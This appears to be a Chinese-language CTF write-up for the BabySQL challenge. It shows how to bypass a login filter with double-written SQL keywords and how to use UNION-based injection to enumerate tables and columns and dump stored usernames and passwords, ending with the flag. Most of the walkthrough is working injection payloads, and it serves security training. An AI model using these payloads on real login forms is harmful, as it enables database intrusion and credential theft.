>lhzctf

[极客大挑战 2019]BabySQL

1.打开靶机

回显登录界面:

alt text

2.尝试绕过

仍然尝试万能账号绕过:

alt text

回显:

alt text

注意到:sql报错提示中账号变成了'1=1#’,显然,or被过滤了。经过试错,发现union select and from where均被过滤。

3.双写绕过

尝试:

alt text

成功登录:

alt text

说明这条路可行,我们接下来查列数,但是由于or被禁用,这里较难使用order by查询,我们直接select:

'uunionnion seselectlect 1,2,3#

正常回显:

alt text

接下来就可以开始注入了,先查表:

'uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

回显:

alt text

接下来查列:

'uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
'uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#

均回显:

alt text

最后查元素:

'uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#
'uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) frfromom geekuser#

分别回显:

alt text

alt text

得到flag:

CTF2{9241fbbd-0e3b-4d98-8488-d82c8fa473fa}